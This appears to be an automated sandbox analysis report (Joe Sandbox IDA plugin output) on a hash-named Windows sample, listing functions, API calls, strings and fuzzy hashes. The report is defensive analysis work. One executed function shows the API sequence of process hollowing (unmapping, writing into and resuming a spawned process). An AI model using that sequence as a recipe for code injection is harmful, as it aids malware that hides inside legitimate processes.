Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID: TeM
API String ID: 757275642-2215902641
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d1ee5d24d6598838e25116ba354c7cf631fb5eda6106ebacc41b25e9fbee45cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 8FD06774D0020DBBCB04EFA5D59ACCDBBB8AA04348F009567AD1597241EA78A7498B99

Analysis Process: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exePID: 1404, Parent PID: 1804COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	39
Total number of Limit Nodes:	7

Executed Functions

Function 022C0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 022C0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 022C016C
CreateProcessA.KERNELBASE(?,00000000), ref: 022C0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 022C0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 022C0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 022C029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022C02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 022C02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 022C0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 022C032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 022C0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022C03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 022C03E1
ResumeThread.KERNELBASE(00000000), ref: 022C03ED
ExitProcess.KERNEL32(00000000), ref: 022C0412

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 2f50595f133a64ef5d0be48f83aece0b1720b8403e2e1c650b8a02f2961b50c5
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 0EB1B574A00209EFDB44CF98C895F9EBBB5BF88314F248158E909AB395D771AE41CF94

Function 022C0420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 022C0533

Strings

saodkfnosa9uin, xrefs: 022C04DA
0, xrefs: 022C0492
d, xrefs: 022C0584
mfoaskdfnoa, xrefs: 022C0520, 022C0523

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: f8cfc8071239d34207e8069ca8fd93e01a40db83f151903452c3ff3d5ba1d327
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 40510870D48388DBEB11CBD8C849BEDBFB26F11708F24415CD5446F28AC3BA5659CB66

Function 022C05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 022C05EC

Strings

apfHQ, xrefs: 022C05E2, 022C05E5
o, xrefs: 022C0600

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 270606c21612e53b77b19a309c6c38ece111431b60848577bf9280df350ecfbe
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: FC011E70C0425DEADB10DFD8C5183AEBFB5AF41308F24819DC4092B241D7B69B58CBA1

Function 022207A6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 022207CE
Module32First.KERNEL32(00000000,00000224), ref: 022207EE

Memory Dump Source

Source File: 00000009.00000002.2217283375.0000000002220000.00000040.00001000.00020000.00000000.sdmp, Offset: 02220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2220000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 2a656a63fdc57918f36ca734d1a18d11c336f599bfc76ce97f53cbae9203fead
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: B6F096311117217FE7203BF5988CBAF76ECAF59665F100528E643950C0DB71E9498E61

Function 02220465 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 022204B6

Memory Dump Source

Source File: 00000009.00000002.2217283375.0000000002220000.00000040.00001000.00020000.00000000.sdmp, Offset: 02220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2220000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 3a35a42cae70e7fdc6ef5407f1b946d8b0d4a081b558458800c7e84cc4be4079
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: B3112B79A40208FFDB01DF98C985E99BBF5AF08350F058094F9489B361D771EA50DF80

Non-executed Functions

Function 022E6437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 022E644E

Part of subcall function 022E9636: __calloc_impl.LIBCMT ref: 022E9645

__calloc_crt.LIBCMT ref: 022E6472
_free.LIBCMT ref: 022E6480
__calloc_crt.LIBCMT ref: 022E648E
_free.LIBCMT ref: 022E649E
_free.LIBCMT ref: 022E64A4
__copytlocinfo_nolock.LIBCMT ref: 022E64B3
__setmbcp_nolock.LIBCMT ref: 022E64D4
_free.LIBCMT ref: 022E64E2
___removelocaleref.LIBCMT ref: 022E64E9
___freetlocinfo.LIBCMT ref: 022E64F0
_free.LIBCMT ref: 022E64F6

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: affbdb0b69b82384dbe50eb3d1a5b4038860f07a951974ed83c4ce37b6fffd44
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: D3219F71124701AAEF317FE5D801E2B7BDADF52760BD0842AE49B550ACEB328960FE51

Function 022E3F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 022E3F51

Part of subcall function 022E5BA8: __getptd_noexit.LIBCMT ref: 022E5BA8

__gmtime64_s.LIBCMT ref: 022E3FEA
__gmtime64_s.LIBCMT ref: 022E4020
__gmtime64_s.LIBCMT ref: 022E403D
__allrem.LIBCMT ref: 022E4093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022E40AF
__allrem.LIBCMT ref: 022E40C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022E40E4
__allrem.LIBCMT ref: 022E40FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022E4119
__invoke_watson.LIBCMT ref: 022E418A

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 214e957eab3c39bd2a963158de3eced0cc4320059d17be78b168950bf0f30474
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 3071E871A20717ABDF14EEB9CC40B6AB3B9BF10324F544179E515E7289EB70DA00DB90

Function 022E650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 022E6547
__calloc_crt.LIBCMT ref: 022E6598
__lock.LIBCMT ref: 022E65AE
__copytlocinfo_nolock.LIBCMT ref: 022E65BF
_wcscmp.LIBCMT ref: 022E65F9
__lock.LIBCMT ref: 022E6610
__updatetlocinfoEx_nolock.LIBCMT ref: 022E6622
___removelocaleref.LIBCMT ref: 022E6628
__updatetlocinfoEx_nolock.LIBCMT ref: 022E6647

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 20ddbb896358c68cad77cb42089d7f4f3035067b3d926252fb03571bbbfed6fc
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: DC412572930305AFDF10BFE4D840BAE3BEAAF14314F90442EE91656198DB799644FF51

Function 022E84AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 022E84B1
_free.LIBCMT ref: 022E84E2
_free.LIBCMT ref: 022E84F5
_free.LIBCMT ref: 022E8513
_free.LIBCMT ref: 022E8525
_free.LIBCMT ref: 022E8536
_free.LIBCMT ref: 022E8541
_free.LIBCMT ref: 022E8565
_free.LIBCMT ref: 022E8581
_free.LIBCMT ref: 022E8597
_free.LIBCMT ref: 022E85BF

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 542e89fddb84f048480067c51a5e91ea929fcf7f81e95324d81e9814d9dbace2
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 0C31D431910351DBCF216F94FC8088977A6FB15324395863AE94A572B8CFB05DC8BF92

Function 0230FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0230FC1F

Part of subcall function 022F169C: std::exception::_Copy_str.LIBCMT ref: 022F16B5

__CxxThrowException@8.LIBCMT ref: 0230FC34
std::exception::exception.LIBCMT ref: 0230FC4D
__CxxThrowException@8.LIBCMT ref: 0230FC62
std::regex_error::regex_error.LIBCPMT ref: 0230FC74

Part of subcall function 0230F914: std::exception::exception.LIBCMT ref: 0230F92E

__CxxThrowException@8.LIBCMT ref: 0230FC82
std::exception::exception.LIBCMT ref: 0230FC9B
__CxxThrowException@8.LIBCMT ref: 0230FCB0

Strings

leM, xrefs: 0230FCA8

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: c609cebf0faa5669bc32bbf85af8e34ea99ed27e64c0be933c7c5ee4344e71b8
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 5811E979C0030DBBCF04FFE5D855CEEBBBDAA04344B808566AE1897644EB74A7588F94

Function 022CF010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 022CF01F

Part of subcall function 022E1602: __FF_MSGBANNER.LIBCMT ref: 022E1619
Part of subcall function 022E1602: __NMSG_WRITE.LIBCMT ref: 022E1620

_malloc.LIBCMT ref: 022CF02B
_wprintf.LIBCMT ref: 022CF03E
_free.LIBCMT ref: 022CF044
_free.LIBCMT ref: 022CF065
_malloc.LIBCMT ref: 022CF06D
_sprintf.LIBCMT ref: 022CF0C0
_wprintf.LIBCMT ref: 022CF0D2
_wprintf.LIBCMT ref: 022CF0DC
_free.LIBCMT ref: 022CF0E5

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: f6f667dcefa1c0f0779fc60427216fcf5b2a0117b5d0ce3cbe5c39b9b93c87a1
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 3E1127B25207506ACA61A2F40C11EFF3ADD9F46711F84017AFE9EE1184DA285E14A7B2

Function 022D1960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022D19C6
__CxxThrowException@8.LIBCMT ref: 022D19F1
__CxxThrowException@8.LIBCMT ref: 022D1A1A
__CxxThrowException@8.LIBCMT ref: 022D1A4B
_memset.LIBCMT ref: 022D1A6A
__CxxThrowException@8.LIBCMT ref: 022D1A90
_malloc.LIBCMT ref: 022D1AA0
_memset.LIBCMT ref: 022D1AAB
_sprintf.LIBCMT ref: 022D1ACE

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: a81fbac8162d9e76b4da79a5140d74c93e32594dcbbc0b737accd83d003b376e
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: BE514871D40219AAEB10DBE5DD86FEEBBB9FB04704F100025FA09B6184EB746A118FA5

Function 022CF210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022CF284
__CxxThrowException@8.LIBCMT ref: 022CF2AF
__CxxThrowException@8.LIBCMT ref: 022CF2DE
__CxxThrowException@8.LIBCMT ref: 022CF30F
_memset.LIBCMT ref: 022CF32E
__CxxThrowException@8.LIBCMT ref: 022CF354
_sprintf.LIBCMT ref: 022CF373

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 48daa6672ff4b642024d3d8417de7f0ca62c3699ce52f87685e35582b956631a
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 025190B1D50249FADF10DFE1DD46FEEBB79AB04704F20012AF906B6184D7B4AA058FA5

Function 022CF440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022CF4B7
__CxxThrowException@8.LIBCMT ref: 022CF4E2
__CxxThrowException@8.LIBCMT ref: 022CF504
__CxxThrowException@8.LIBCMT ref: 022CF535
_memset.LIBCMT ref: 022CF554
__CxxThrowException@8.LIBCMT ref: 022CF57A
_sprintf.LIBCMT ref: 022CF594

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: b8149fda2a65d5f7046d5e5987df63cb8dffa9b1062878cae69d25af906c7a28
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 14516171D50209AADF21DFE1DD45FEEBBB9FB04744F20012AFA06B6184E7746A058BA4

Function 0230208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 023020C6
__invoke_watson.LIBCMT ref: 02302120
_strlen.LIBCMT ref: 023020D4

Part of subcall function 022E5BA8: __getptd_noexit.LIBCMT ref: 022E5BA8

_strnlen.LIBCMT ref: 0230215F
__lock.LIBCMT ref: 02302170
__getenv_helper_nolock.LIBCMT ref: 0230217B

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: c0ec27d412ad805ee81abe04baa57226428e64dd623e88402a1d0744abc84052
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 4D312732A10321ABDF217BA89C98F6F77999F05B28F504015ED15EB2C8DB748941DBB1

Function 023866D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 023866DD

Part of subcall function 022E59BF: __calloc_crt.LIBCMT ref: 022E59E2
Part of subcall function 022E59BF: __initptd.LIBCMT ref: 022E5A04

__calloc_crt.LIBCMT ref: 02386700
__get_sys_err_msg.LIBCMT ref: 0238671E
__invoke_watson.LIBCMT ref: 0238673B
__get_sys_err_msg.LIBCMT ref: 0238676D
__invoke_watson.LIBCMT ref: 0238678B

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: d4fdc7780a9cab3e24a07795e33231d0d94059010a0421e9d6ab0cb627a5d61b
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: FA11C4716007146BEF327E659C42BAA739DEF00764F800426FE099F641E721D9005EE4

Function 022D2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022D26DB
_memset.LIBCMT ref: 022D2A30
_memset.LIBCMT ref: 022D2AC0

Strings

D, xrefs: 022D2AC8

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: b680e3c148131b9407a4bac539b8e905d47169324fbbd06bc2dfdfa383a9a705
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: C9E18A71D1021AEACF24DFE0CD89FEEB7B8BF04304F144169E90AA2195EB746A45CF64

Function 022CD8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022CD8EA

Strings

$, xrefs: 022CDAE2
, xrefs: 022CDADB
(, xrefs: 022CDAE9

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 54b1cb01b787b972bc2324c3398fa6b2786b99c32cfbb83ee645c7c246c69a22
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 5091AF71D10219DAEF20DFE0CC49BEEBBB9AF05304F644269D40977284DBB65A48CFA5

Function 022E5CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 022E5CF4

Strings

U, xrefs: 022E5CFD

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 8910e7fe30c7510b273f10fe8997f38b392b005bdbbedf052131010828a7806e
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 7A215E322343096AEF009AE4AC44BBE739DDB45354FD00075F90AC7198FF70D9509AA4

Function 022DA810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022DA858
_memset.LIBCMT ref: 022DA869
_memset.LIBCMT ref: 022DA87A

Strings

p2Q, xrefs: 022DA882

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 40579ea4bc42529b8bf08e5c27ef795f72eca08cb8dd6b934bcf08a4a49b4dfe
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: EBF06538694755A5F7117790BC267853D817B31B09F404044E1142E2E0D3FD234C6B99

Function 0230FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0230FBF1

Part of subcall function 022F169C: std::exception::_Copy_str.LIBCMT ref: 022F16B5

__CxxThrowException@8.LIBCMT ref: 0230FC06

Strings

TeM, xrefs: 0230FBFE
TeM, xrefs: 0230FBE7, 0230FBFB

Memory Dump Source

